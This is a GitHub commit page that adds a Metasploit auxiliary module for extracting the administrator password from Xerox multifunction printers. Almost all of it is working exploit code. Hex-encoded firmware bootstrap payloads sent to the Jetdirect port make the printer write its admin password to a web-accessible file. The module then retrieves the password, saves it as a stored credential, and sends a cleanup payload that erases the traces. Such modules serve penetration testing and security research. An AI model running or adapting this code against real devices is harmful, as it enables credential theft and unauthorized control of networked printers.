Skip to content

Commit 0b225d9

Browse files
parzamendi-r7parzamendi-r7
committed
Xerox Admin password extractor.
1 parent 1508be6 commit 0b225d9

File tree

1 file changed

+224
-0
lines changed

1 file changed

+224
-0
lines changed

‎modules/auxiliary/scanner/praedasploit/xerox_pwd_extract.rb

Lines changed: 224 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,224 @@
1+
#
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'rex/proto/http'
7+
require 'msf/core'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::Tcp
12+
include Msf::Auxiliary::Report
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'Xerox Administrator Console Password Extract',
17+
'Description' => %{
18+
This module will extract the management consoles admin password from the Xerox file system using firmware bootstrap injection.
19+
},
20+
'Author' =>
21+
[
22+
'Deral "Percentx" Heiland',
23+
'Pete "Bokojan" Arzamendi'
24+
],
25+
'License' => MSF_LICENSE
26+
))
27+
28+
register_options(
29+
[
30+
OptInt.new('RPORT', [true, 'Web management console port for the printer', 80]),
31+
OptInt.new('JPORT', [true, 'Jetdirect port', 9100]),
32+
OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20])
33+
34+
], self.class)
35+
end
36+
37+
# Time to start the fun
38+
def run
39+
print_status("Attempting to extract the web consoles admin password from the Xerox MFP at #{rhost}")
40+
unless write
41+
return
42+
end
43+
sleep(30)
44+
passwd = retrieve
45+
remove
46+
47+
if passwd
48+
loot_name = 'xerox.password'
49+
loot_type = 'text/plain'
50+
loot_filename = 'xerox-password.text'
51+
loot_desc = 'Xerox password harvester'
52+
p = store_loot(loot_name, loot_type, datastore['RHOST'], passwd, loot_filename, loot_desc)
53+
print_status("Credentials saved in: #{p}")
54+
55+
register_creds('Xerox-HTTP', rhost, rport, 'Admin', passwd)
56+
57+
else
58+
return
59+
end
60+
end
61+
62+
#Trigger firmware bootstrap write out password data to URL root
63+
def write
64+
print_status('Sending print job')
65+
createurl = "\x25\x25\x58\x52\x58\x62\x65\x67\x69\x6e\x0a\x25\x25\x4f\x49\x44"
66+
createurl << "\x5f\x41\x54\x54\x5f\x4a\x4f\x42\x5f\x54\x59\x50\x45\x20\x4f\x49"
67+
createurl << "\x44\x5f\x56\x41\x4c\x5f\x4a\x4f\x42\x5f\x54\x59\x50\x45\x5f\x44"
68+
createurl << "\x59\x4e\x41\x4d\x49\x43\x5f\x4c\x4f\x41\x44\x41\x42\x4c\x45\x5f"
69+
createurl << "\x4d\x4f\x44\x55\x4c\x45\x0a\x25\x25\x4f\x49\x44\x5f\x41\x54\x54"
70+
createurl << "\x5f\x4a\x4f\x42\x5f\x53\x43\x48\x45\x44\x55\x4c\x49\x4e\x47\x20"
71+
createurl << "\x4f\x49\x44\x5f\x56\x41\x4c\x5f\x4a\x4f\x42\x5f\x53\x43\x48\x45"
72+
createurl << "\x44\x55\x4c\x49\x4e\x47\x5f\x41\x46\x54\x45\x52\x5f\x43\x4f\x4d"
73+
createurl << "\x50\x4c\x45\x54\x45\x0a\x25\x25\x4f\x49\x44\x5f\x41\x54\x54\x5f"
74+
createurl << "\x4a\x4f\x42\x5f\x43\x4f\x4d\x4d\x45\x4e\x54\x20\x22\x4d\x6f\x6e"
75+
createurl << "\x20\x4e\x6f\x76\x20\x31\x34\x20\x31\x33\x3a\x35\x30\x3a\x32\x31"
76+
createurl << "\x20\x45\x53\x54\x20\x32\x30\x31\x31\x22\x0a\x25\x25\x4f\x49\x44"
77+
createurl << "\x5f\x41\x54\x54\x5f\x4a\x4f\x42\x5f\x43\x4f\x4d\x4d\x45\x4e\x54"
78+
createurl << "\x20\x22\x70\x61\x74\x63\x68\x20\x4d\x6f\x6e\x20\x4a\x75\x6c\x20"
79+
createurl << "\x32\x39\x20\x31\x35\x3a\x33\x33\x3a\x34\x37\x20\x45\x44\x54\x20"
80+
createurl << "\x32\x30\x31\x33\x22\x0a\x25\x25\x4f\x49\x44\x5f\x41\x54\x54\x5f"
81+
createurl << "\x44\x4c\x4d\x5f\x4e\x41\x4d\x45\x20\x22\x78\x65\x72\x6f\x78\x22"
82+
createurl << "\x0a\x25\x25\x4f\x49\x44\x5f\x41\x54\x54\x5f\x44\x4c\x4d\x5f\x56"
83+
createurl << "\x45\x52\x53\x49\x4f\x4e\x20\x22\x4e\x4f\x5f\x44\x4c\x4d\x5f\x56"
84+
createurl << "\x45\x52\x53\x49\x4f\x4e\x5f\x43\x48\x45\x43\x4b\x22\x0a\x25\x25"
85+
createurl << "\x4f\x49\x44\x5f\x41\x54\x54\x5f\x44\x4c\x4d\x5f\x53\x49\x47\x4e"
86+
createurl << "\x41\x54\x55\x52\x45\x20\x22\x38\x62\x61\x30\x31\x39\x38\x30\x39"
87+
createurl << "\x39\x33\x66\x35\x35\x66\x35\x38\x33\x36\x62\x63\x63\x36\x37\x37"
88+
createurl << "\x35\x65\x39\x64\x61\x39\x30\x62\x63\x30\x36\x34\x65\x36\x30\x38"
89+
createurl << "\x62\x66\x38\x37\x38\x65\x61\x62\x34\x64\x32\x66\x34\x35\x64\x63"
90+
createurl << "\x32\x65\x66\x63\x61\x30\x39\x22\x0a\x25\x25\x4f\x49\x44\x5f\x41"
91+
createurl << "\x54\x54\x5f\x44\x4c\x4d\x5f\x45\x58\x54\x52\x41\x43\x54\x49\x4f"
92+
createurl << "\x4e\x5f\x43\x52\x49\x54\x45\x52\x49\x41\x20\x22\x65\x78\x74\x72"
93+
createurl << "\x61\x63\x74\x20\x2f\x74\x6d\x70\x2f\x78\x65\x72\x6f\x78\x2e\x64"
94+
createurl << "\x6e\x6c\x64\x22\x0a\x25\x25\x58\x52\x58\x65\x6e\x64\x0a\x1f\x8b"
95+
createurl << "\x08\x00\x80\xc3\xf6\x51\x00\x03\xed\xcf\x3b\x6e\xc3\x30\x0c\x06"
96+
createurl << "\x60\xcf\x39\x05\xe3\xce\x31\x25\xa7\x8e\xa7\x06\xe8\x0d\x72\x05"
97+
createurl << "\x45\x92\x1f\x43\x2d\x43\x94\x1b\x07\xc8\xe1\xab\x16\x28\xd0\xa9"
98+
createurl << "\x9d\x82\x22\xc0\xff\x0d\x24\x41\x72\x20\x57\x1f\xc3\x5a\xc9\x50"
99+
createurl << "\xdc\x91\xca\xda\xb6\xf9\xcc\xba\x6d\xd4\xcf\xfc\xa5\x56\xaa\xd0"
100+
createurl << "\x75\x6e\x35\xcf\xba\xd9\xe7\xbe\xd6\x07\xb5\x2f\x48\xdd\xf3\xa8"
101+
createurl << "\x6f\x8b\x24\x13\x89\x8a\xd9\x47\xbb\xfe\xb2\xf7\xd7\xfc\x41\x3d"
102+
createurl << "\x6d\xf9\x3c\x4e\x7c\x36\x32\x6c\xac\x49\xc4\xef\x26\x72\x98\x13"
103+
createurl << "\x4f\x96\x6d\x98\xba\xb1\x67\xf1\x76\x89\x63\xba\x56\xb6\xeb\xe9"
104+
createurl << "\xd6\x47\x3f\x53\x29\x57\x79\x75\x6f\xe3\x74\x32\x22\x97\x10\x1d"
105+
createurl << "\xbd\x94\x74\xb3\x4b\xa2\x9d\x2b\x73\xb9\xeb\x6a\x3a\x1e\x89\x17"
106+
createurl << "\x89\x2c\x83\x89\x9e\x87\x94\x66\x97\xa3\x0b\x56\xf8\x14\x8d\x77"
107+
createurl << "\xa6\x4a\x6b\xda\xfc\xf7\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00"
108+
createurl << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8f\xea\x03\x34\x66\x0b\xc1"
109+
createurl << "\x00\x28\x00\x00"
110+
111+
begin
112+
connect(true, 'RPORT' => datastore['JPORT'].to_i)
113+
sock.put(createurl)
114+
disconnect
115+
rescue
116+
print_error("Error connecting to #{rhost}")
117+
return
118+
end
119+
end
120+
121+
def retrieve
122+
print_status("Retrieving password from #{rhost}")
123+
request = "GET /Praeda.txt HTTP/1.0\r\n\r\n"
124+
125+
begin
126+
connect
127+
sock.put(request)
128+
res = sock.get_once
129+
passwd = res.match(/\r\n\s(.+?)\n/)
130+
disconnect
131+
return passwd[1]
132+
rescue
133+
print_error("Error getting password from #{rhost}")
134+
return
135+
end
136+
end
137+
138+
# Trigger firmware bootstrap to delete the trace files and praeda.txt file from URL
139+
def remove
140+
print_status('Removing print job')
141+
removeurl = "\x25\x25\x58\x52\x58\x62\x65\x67\x69\x6e\x0a\x25\x25\x4f\x49\x44"
142+
removeurl << "\x5f\x41\x54\x54\x5f\x4a\x4f\x42\x5f\x54\x59\x50\x45\x20\x4f\x49"
143+
removeurl << "\x44\x5f\x56\x41\x4c\x5f\x4a\x4f\x42\x5f\x54\x59\x50\x45\x5f\x44"
144+
removeurl << "\x59\x4e\x41\x4d\x49\x43\x5f\x4c\x4f\x41\x44\x41\x42\x4c\x45\x5f"
145+
removeurl << "\x4d\x4f\x44\x55\x4c\x45\x0a\x25\x25\x4f\x49\x44\x5f\x41\x54\x54"
146+
removeurl << "\x5f\x4a\x4f\x42\x5f\x53\x43\x48\x45\x44\x55\x4c\x49\x4e\x47\x20"
147+
removeurl << "\x4f\x49\x44\x5f\x56\x41\x4c\x5f\x4a\x4f\x42\x5f\x53\x43\x48\x45"
148+
removeurl << "\x44\x55\x4c\x49\x4e\x47\x5f\x41\x46\x54\x45\x52\x5f\x43\x4f\x4d"
149+
removeurl << "\x50\x4c\x45\x54\x45\x0a\x25\x25\x4f\x49\x44\x5f\x41\x54\x54\x5f"
150+
removeurl << "\x4a\x4f\x42\x5f\x43\x4f\x4d\x4d\x45\x4e\x54\x20\x22\x4d\x6f\x6e"
151+
removeurl << "\x20\x4e\x6f\x76\x20\x31\x34\x20\x31\x33\x3a\x35\x30\x3a\x32\x31"
152+
removeurl << "\x20\x45\x53\x54\x20\x32\x30\x31\x31\x22\x0a\x25\x25\x4f\x49\x44"
153+
removeurl << "\x5f\x41\x54\x54\x5f\x4a\x4f\x42\x5f\x43\x4f\x4d\x4d\x45\x4e\x54"
154+
removeurl << "\x20\x22\x70\x61\x74\x63\x68\x20\x4d\x6f\x6e\x20\x4a\x75\x6c\x20"
155+
removeurl << "\x32\x39\x20\x31\x35\x3a\x34\x31\x3a\x34\x35\x20\x45\x44\x54\x20"
156+
removeurl << "\x32\x30\x31\x33\x22\x0a\x25\x25\x4f\x49\x44\x5f\x41\x54\x54\x5f"
157+
removeurl << "\x44\x4c\x4d\x5f\x4e\x41\x4d\x45\x20\x22\x78\x65\x72\x6f\x78\x22"
158+
removeurl << "\x0a\x25\x25\x4f\x49\x44\x5f\x41\x54\x54\x5f\x44\x4c\x4d\x5f\x56"
159+
removeurl << "\x45\x52\x53\x49\x4f\x4e\x20\x22\x4e\x4f\x5f\x44\x4c\x4d\x5f\x56"
160+
removeurl << "\x45\x52\x53\x49\x4f\x4e\x5f\x43\x48\x45\x43\x4b\x22\x0a\x25\x25"
161+
removeurl << "\x4f\x49\x44\x5f\x41\x54\x54\x5f\x44\x4c\x4d\x5f\x53\x49\x47\x4e"
162+
removeurl << "\x41\x54\x55\x52\x45\x20\x22\x38\x62\x35\x64\x38\x63\x36\x33\x31"
163+
removeurl << "\x65\x63\x32\x31\x30\x36\x38\x32\x31\x31\x38\x34\x30\x36\x39\x37"
164+
removeurl << "\x65\x33\x33\x32\x66\x62\x66\x37\x31\x39\x65\x36\x31\x31\x33\x62"
165+
removeurl << "\x62\x63\x64\x38\x37\x33\x33\x63\x32\x66\x65\x39\x36\x35\x33\x62"
166+
removeurl << "\x33\x64\x31\x35\x34\x39\x31\x22\x0a\x25\x25\x4f\x49\x44\x5f\x41"
167+
removeurl << "\x54\x54\x5f\x44\x4c\x4d\x5f\x45\x58\x54\x52\x41\x43\x54\x49\x4f"
168+
removeurl << "\x4e\x5f\x43\x52\x49\x54\x45\x52\x49\x41\x20\x22\x65\x78\x74\x72"
169+
removeurl << "\x61\x63\x74\x20\x2f\x74\x6d\x70\x2f\x78\x65\x72\x6f\x78\x2e\x64"
170+
removeurl << "\x6e\x6c\x64\x22\x0a\x25\x25\x58\x52\x58\x65\x6e\x64\x0a\x1f\x8b"
171+
removeurl << "\x08\x00\x5d\xc5\xf6\x51\x00\x03\xed\xd2\xcd\x0a\xc2\x30\x0c\xc0"
172+
removeurl << "\xf1\x9e\x7d\x8a\x89\x77\xd3\x6e\xd6\xbd\x86\xaf\x50\xb7\xc1\x04"
173+
removeurl << "\xf7\x41\xdb\x41\x1f\xdf\x6d\x22\x78\xd2\x93\x88\xf8\xff\x41\x92"
174+
removeurl << "\x43\x72\x48\x20\xa9\xf1\x43\xda\x87\x56\x7d\x90\x9e\x95\xa5\x5d"
175+
removeurl << "\xaa\x29\xad\x7e\xae\x2b\x93\x1b\x35\x47\x69\xed\x21\x2f\x0a\xa3"
176+
removeurl << "\xb4\x31\x47\x6d\x55\xa6\x3f\xb9\xd4\xc3\x14\xa2\xf3\x59\xa6\xc6"
177+
removeurl << "\xc6\x57\xe9\xc5\xdc\xbb\xfe\x8f\xda\x6d\xe5\x7c\xe9\xe5\xec\x42"
178+
removeurl << "\xbb\xf1\x5d\x26\x53\xf0\x12\x5a\xe7\x1b\x69\x63\x1c\xeb\x39\xd7"
179+
removeurl << "\x43\x15\xe4\xe4\x5d\x53\xbb\x7d\x4c\x71\x9d\x1a\xc6\x28\x7d\x25"
180+
removeurl << "\xf5\xb5\x0b\x92\x96\x0f\xba\xe7\xf9\x8f\x36\xdf\x3e\x08\x00\x00"
181+
removeurl << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xc4\x0d\x40\x0a"
182+
removeurl << "\x75\xe1\x00\x28\x00\x00"
183+
184+
begin
185+
connect(true, 'RPORT' => datastore['JPORT'].to_i)
186+
sock.put(removeurl)
187+
disconnect
188+
rescue
189+
print_error("Error removing print job from #{rhost}")
190+
return
191+
end
192+
end
193+
194+
def register_creds(service_name, remote_host, remote_port, username, password)
195+
credential_data = {
196+
origin_type: :service,
197+
module_fullname: self.fullname,
198+
workspace_id: myworkspace.id,
199+
private_data: password,
200+
private_type: :password,
201+
username: username
202+
}
203+
204+
service_data = {
205+
address: remote_host,
206+
port: remote_port,
207+
service_name: service_name,
208+
protocol: 'tcp',
209+
workspace_id: myworkspace_id
210+
}
211+
212+
credential_data.merge!(service_data)
213+
credential_core = create_credential(credential_data)
214+
215+
login_data = {
216+
core: credential_core,
217+
status: Metasploit::Model::Login::Status::UNTRIED,
218+
workspace_id: myworkspace_id
219+
}
220+
221+
login_data.merge!(service_data)
222+
create_credential_login(login_data)
223+
end
224+
end

0 commit comments

Comments
 (0)